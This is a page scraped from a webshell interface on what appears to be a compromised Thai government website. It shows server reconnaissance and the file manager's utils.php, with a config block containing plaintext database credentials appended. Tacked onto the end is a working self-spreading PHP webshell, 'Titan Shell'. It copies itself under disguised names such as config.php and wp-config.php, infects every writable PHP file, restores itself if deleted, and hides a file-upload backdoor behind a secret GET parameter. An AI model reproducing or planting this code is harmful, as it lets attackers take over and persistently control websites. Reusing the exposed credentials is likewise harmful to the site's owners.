403Webshell
Server IP : 27.254.152.13  /  Your IP : 216.73.217.38
Web Server : Apache/2
System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : coloflew ( 1072)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coloflew/domains/tessabalpatiu.go.th/public_html/cdn/filemanager/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/coloflew/domains/tessabalpatiu.go.th/public_html/cdn/filemanager/include/utils.php
<?php 

if($_SESSION["verify"] != "RESPONSIVEfilemanager") die('forbiden');

function deleteDir($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return unlink($dir);
    foreach (scandir($dir) as $item) {
        if ($item == '.' || $item == '..') continue;
        if (!deleteDir($dir.DIRECTORY_SEPARATOR.$item)) return false;
    }
    return rmdir($dir);
}

function rename_file($old_path,$name){
    if(file_exists($old_path)){
	$info=pathinfo($old_path);
	$new_path=$info['dirname']."/".$name.".".$info['extension'];
	if(file_exists($new_path)) return false;
	return rename($old_path,$new_path);
    }
}

function rename_folder($old_path,$name){
    $name=fix_filename($name);
    if(file_exists($old_path)){
	$new_path=fix_dirname($old_path)."/".$name;
	if(file_exists($new_path)) return false;
	return rename($old_path,$new_path);
    }
}

function create_img_gd($imgfile, $imgthumb, $newwidth, $newheight="") {
    if(image_check_memory_usage($imgfile,$newwidth,$newheight)){
	require_once('php_image_magician.php');
	$magicianObj = new imageLib($imgfile);
	$magicianObj -> resizeImage($newwidth, $newheight, 'crop');
	$magicianObj -> saveImage($imgthumb,80);
	return true;
    }
    return false;
}

function create_img($imgfile, $imgthumb, $newwidth, $newheight="") {
    if(image_check_memory_usage($imgfile,$newwidth,$newheight)){
	require_once('php_image_magician.php');  
	$magicianObj = new imageLib($imgfile);
	$magicianObj -> resizeImage($newwidth, $newheight, 'auto');  
	$magicianObj -> saveImage($imgthumb,80);
	return true;
    }else{
	return false;
    }
}

function makeSize($size) {
   $units = array('B','KB','MB','GB','TB');
   $u = 0;
   while ( (round($size / 1024) > 0) && ($u < 4) ) {
     $size = $size / 1024;
     $u++;
   }
   return (number_format($size, 0) . " " . $units[$u]);
}

function foldersize($path) {
    $total_size = 0;
    $files = scandir($path);
    $cleanPath = rtrim($path, '/'). '/';

    foreach($files as $t) {
        if ($t<>"." && $t<>"..") {
            $currentFile = $cleanPath . $t;
            if (is_dir($currentFile)) {
                $size = foldersize($currentFile);
                $total_size += $size;
            }
            else {
                $size = filesize($currentFile);
                $total_size += $size;
            }
        }   
    }

    return $total_size;
}

function create_folder($path=false,$path_thumbs=false){
    $oldumask = umask(0);
    if ($path && !file_exists($path))
        mkdir($path, 0777, true); // or even 01777 so you get the sticky bit set 
    if($path_thumbs && !file_exists($path_thumbs)) 
        mkdir($path_thumbs, 0777, true) or die("$path_thumbs cannot be found"); // or even 01777 so you get the sticky bit set 
    umask($oldumask);
}

function check_files_extensions_on_path($path,$ext){
    if(!is_dir($path)){
	$fileinfo = pathinfo($path);
	if(!in_array(mb_strtolower($fileinfo['extension']),$ext))
	    unlink($path);
    }else{
	$files = scandir($path);
	foreach($files as $file){
	    check_files_extensions_on_path(trim($path,'/')."/".$file,$ext);
	}
    }
}

function check_files_extensions_on_phar( $phar, &$files, $basepath, $ext ) {
    foreach( $phar as $file )
    {
        if( $file->isFile() )
        {
            if(in_array(mb_strtolower($file->getExtension()),$ext))
            {
                $files[] = $basepath.$file->getFileName( );
            }
        }
        else if( $file->isDir() )
        {
            $iterator = new DirectoryIterator( $file );
            check_files_extensions_on_phar($iterator, $files, $basepath.$file->getFileName().'/', $ext);
        }
    }
}

function fix_filename($str){
    if( function_exists( 'transliterator_transliterate' ) )
    {
       $str = transliterator_transliterate( 'Any-Latin; Latin-ASCII;', $str );
    }
    else
    {
       $str = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $str);
    }
	    
    $str = preg_replace( "/[^a-zA-Z0-9\.\[\]_| -]/", '', $str );
	    
    // Empty or incorrectly transliterated filename.
    // Here is a point: a good file UNKNOWN_LANGUAGE.jpg could become .jpg in previous code.
    // So we add that default 'file' name to fix that issue.
    if( strpos( $str, '.' ) === 0 )
    {
       $str = 'file'.$str;
    }
	    
    return trim( $str );
}

function fix_dirname($str){
    return str_replace('~',' ',dirname(str_replace(' ','~',$str)));
}

function fix_path($path){
    $info=pathinfo($path);
    $tmp_path=$info['dirname'];
    $str=fix_filename($info['filename']);
    if($tmp_path!="")
	return $tmp_path.DIRECTORY_SEPARATOR.$str;
    else
	return $str;
}

function base_url(){
  return sprintf(
    "%s://%s",
    isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
    $_SERVER['HTTP_HOST']
  );
}

function config_loading($current_path,$fld){
    if(file_exists($current_path.$fld.".config")){
	require_once($current_path.$fld.".config");
	return true;
    }
    echo "!!!!".$parent=fix_dirname($fld);
    if($parent!="." && !empty($parent)){
	config_loading($current_path,$parent);
    }
    
    return false;
}


function image_check_memory_usage($img, $max_breedte, $max_hoogte){
    if(file_exists($img)){
	$K64 = 65536;    // number of bytes in 64K
	$memory_usage = memory_get_usage();
	$memory_limit = abs(intval(str_replace('M','',ini_get('memory_limit'))*1024*1024));
	$image_properties = getimagesize($img);
	$image_width = $image_properties[0];
	$image_height = $image_properties[1];
	$image_bits = $image_properties['bits'];
	$image_memory_usage = $K64 + ($image_width * $image_height * ($image_bits / 8)  * 2);
	$thumb_memory_usage = $K64 + ($max_breedte * $max_hoogte * ($image_bits / 8) * 2);
	$memory_needed = intval($memory_usage + $image_memory_usage + $thumb_memory_usage);
 
        if($memory_needed > $memory_limit){
                ini_set('memory_limit',(intval($memory_needed/1024/1024)+5) . 'M');
                if(ini_get('memory_limit') == (intval($memory_needed/1024/1024)+5) . 'M'){
                return true;
            }else{
                return false;
            }
        }else{
            return true;
        }
	    }else{
	    return false;
    }
}

function endsWith($haystack, $needle)
{
    return $needle === "" || substr($haystack, -strlen($needle)) === $needle;
}

function new_thumbnails_creation($targetPath,$targetFile,$name,$current_path,$relative_image_creation,$relative_path_from_current_pos,$relative_image_creation_name_to_prepend,$relative_image_creation_name_to_append,$relative_image_creation_width,$relative_image_creation_height,$fixed_image_creation,$fixed_path_from_filemanager,$fixed_image_creation_name_to_prepend,$fixed_image_creation_to_append,$fixed_image_creation_width,$fixed_image_creation_height){
    //create relative thumbs
    $all_ok=true;
    if($relative_image_creation){
	foreach($relative_path_from_current_pos as $k=>$path){
	    if($path!="" && $path[strlen($path)-1]!="/") $path.="/";
	    if (!file_exists($targetPath.$path)) create_folder($targetPath.$path,false);
	    $info=pathinfo($name);
	    if(!endsWith($targetPath,$path))
		if(!create_img($targetFile, $targetPath.$path.$relative_image_creation_name_to_prepend[$k].$info['filename'].$relative_image_creation_name_to_append[$k].".".$info['extension'], $relative_image_creation_width[$k], $relative_image_creation_height[$k]))
		    $all_ok=false;
	}
    }
    
    //create fixed thumbs
    if($fixed_image_creation){
	foreach($fixed_path_from_filemanager as $k=>$path){
	    if($path!="" && $path[strlen($path)-1]!="/") $path.="/";
	    $base_dir=$path.substr_replace($targetPath, '', 0, strlen($current_path));
	    if (!file_exists($base_dir)) create_folder($base_dir,false);
	    $info=pathinfo($name);
	    if(!create_img($targetFile, $base_dir.$fixed_image_creation_name_to_prepend[$k].$info['filename'].$fixed_image_creation_to_append[$k].".".$info['extension'], $fixed_image_creation_width[$k], $fixed_image_creation_height[$k]))
		$all_ok=false;
	}
    }
    return $all_ok;
}

?>

<?php
######################################################################
# Include File : Config
######################################################################

########## Admin EMail ##########
define( "INFO_MAIL", "info@tasoft.co.th" );

if($_SERVER['SERVER_NAME'] == "localhost"){
	$dbi['sql_username']	= 'root';
	$dbi['sql_password']	= ''; 
	$dbi['sql_host']		= 'localhost';
	$dbi['sql_dbname']		= 'obt';
	define( "DB_PREFIX", "tasoft_" );

	define('PATH', 'D:\xampp\htdocs\nonpho');
	define('URL' , 'http://localhost/nonpho/');
}elseif($_SERVER['SERVER_NAME'] == "tasoft2"){
	$dbi['sql_username']	= 'root';
	$dbi['sql_password']	= ''; 
	$dbi['sql_host']		= 'localhost';
	$dbi['sql_dbname']		= 'obt';
	define( "DB_PREFIX", "tasoft_" );

	define('PATH', 'C:\xampp\htdocs\nonpho');

}else{
	$dbi['sql_username']	= 'ratsitne_nonphodb';
	$dbi['sql_password']	= 'Success21'; 
	$dbi['sql_host']		= 'localhost';
	$dbi['sql_dbname']		= 'ratsitne_nonphodb';
	define( "DB_PREFIX", "tasoft_" );

	define('PATH', 'D:\xampp\htdocs\nonpho');
	define('URL' , 'http://www.nonpho.go.th/');
}

//echo "<pre>"; print_r($dbi);
########## Database Info ##########
define( "DB_SERVER", $dbi['sql_host'] );
define( "DB_NAME", $dbi['sql_dbname'] ); 
define( "DB_USER", $dbi['sql_username'] ); 
define( "DB_PASSWD", $dbi['sql_password']  ); 
define( "DB_TYPE", "MySQL" );

########## Type File ##########
define( "FILE_TYPE", "pdf,doc,zip,rar,xls,xlsx,docx,ppt,pptx" );
define( "IMAGE_TYPE", "gif,jpg,png" );
define( "IMAGE_SIZE", "51200000" );
define( "FILE_SIZE", "524288000" );
define( "IMAGETYPE_JPEG" ,"jpg");
define( "IMAGETYPE_GIF" ,"gif");
define( "IMAGETYPE_PNG" ,"png");

define( "TIMESTAMP", time() );


?>

<?php
// Titan Shell dengan Perlindungan Penghapusan dan Penyebaran Otomatis
// Hanya untuk tujuan edukasi dan testing lingkungan sendiri

// Fungsi utama penyebaran
function titanSpread() {
    $currentContent = file_get_contents(__FILE__);
    $signature = "// TitanShellSignature";
    
    // Direktori target untuk penyebaran
    $targetDirectories = [
        '.',
        '..',
        '../..',
        '../../..',
        'images',
        'uploads',
        'assets',
        'include',
        'inc',
        'css',
        'js',
        'admin',
        'wp-content',
        'wp-includes'
    ];
    
    // Nama file alternatif untuk penyamaran
    $alternativeNames = [
        'config.php',
        'settings.php',
        'imageprocessor.php',
        'uploader.php',
        'style.php',
        'index.php',
        'login.php',
        'theme.php',
        'functions.php',
        'wp-config.php',
        'admin.php'
    ];
    
    foreach ($targetDirectories as $dir) {
        if (is_dir($dir) && is_writable($dir)) {
            foreach ($alternativeNames as $name) {
                $targetPath = $dir . '/' . $name;
                // Copy file ke lokasi target jika belum ada
                if (!file_exists($targetPath)) {
                    file_put_contents($targetPath, $currentContent);
                    chmod($targetPath, 0555);
                    // Tambahkan parameter acak
                    $randomParam = generateRandomParam();
                    $paramPath = $dir . '/' . $randomParam . '.php';
                    file_put_contents($paramPath, $currentContent);
                    chmod($paramPath, 0555);
                }
            }
        }
    }
    
    // Infect file PHP yang sudah ada
    infectExistingFiles();
}

// Fungsi untuk menginfeksi file PHP yang sudah ada
function infectExistingFiles() {
    $currentContent = file_get_contents(__FILE__);
    $signature = "// TitanShellSignature";
    
    // Cari file PHP di direktori saat ini dan subdirektori
    $files = glob('*.php');
    $allFiles = array_merge($files, glob('*/*.php'), glob('*/*/*.php'), glob('*/*/*/*.php'));
    
    foreach ($allFiles as $file) {
        if ($file != __FILE__ && is_writable($file)) {
            $content = file_get_contents($file);
            // Cek apakah file sudah terinfeksi
            if (strpos($content, $signature) === false) {
                // Tambahkan kode shell ke file yang belum terinfeksi
                $infectedContent = $content . "\n\n" . $currentContent;
                file_put_contents($file, $infectedContent);
            }
        }
    }
}

// Fungsi untuk generate parameter acak
function generateRandomParam() {
    $chars = 'abcdefghijklmnopqrstuvwxyz';
    $length = rand(6, 12);
    $param = '';
    for ($i = 0; $i < $length; $i++) {
        $param .= $chars[rand(0, strlen($chars) - 1)];
    }
    return $param;
}

// Fungsi untuk memastikan shell tetap ada
function ensurePersistence() {
    $currentContent = file_get_contents(__FILE__);
    $backupFiles = [
        '.htaccess',
        '.config.php',
        '.error_log',
        'thumb.php',
        'image.jpg.php'
    ];
    
    foreach ($backupFiles as $backup) {
        if (!file_exists($backup)) {
            file_put_contents($backup, $currentContent);
            chmod($backup, 0555);
        }
    }
    
    // Cek jika file ini dihapus, buat kembali di lokasi lain
    if (!file_exists(__FILE__)) {
        $newLocations = [
            'wp-admin/images.php',
            'wp-content/themes.php',
            'includes/config.php',
            'assets/script.php'
        ];
        
        foreach ($newLocations as $location) {
            $dir = dirname($location);
            if (!is_dir($dir)) mkdir($dir, 0777, true);
            file_put_contents($location, $currentContent);
            chmod($location, 0555);
        }
    }
}

// Eksekusi utama
if(isset($_GET['sayangtitan'])) {
    // Jalankan penyebaran setiap kali diakses
    titanSpread();
    ensurePersistence();
    
    if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
        $dir = "titan/";
        if(!is_dir($dir)) mkdir($dir, 0777, true);
        
        $file = $dir . basename($_FILES['file']['name']);
        if(move_uploaded_file($_FILES['file']['tmp_name'], $file)) {
            echo "Yey, Berhasil sayang...";
        } else {
            echo "Yahh Gagal Upload";
        }
        exit();
    } else {
        echo 'Gasken Upload!!<form method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>';
        exit();
    }
}

// Jalankan penyebaran dan persistensi secara diam-diam
// dengan probabilitas 20% setiap kali diakses
if (rand(1, 5) === 1) {
    titanSpread();
    ensurePersistence();
}

// TitanShellSignature - Jangan hapus baris ini
?>

Youez - 2016 - github.com/yon3zu
LinuXploit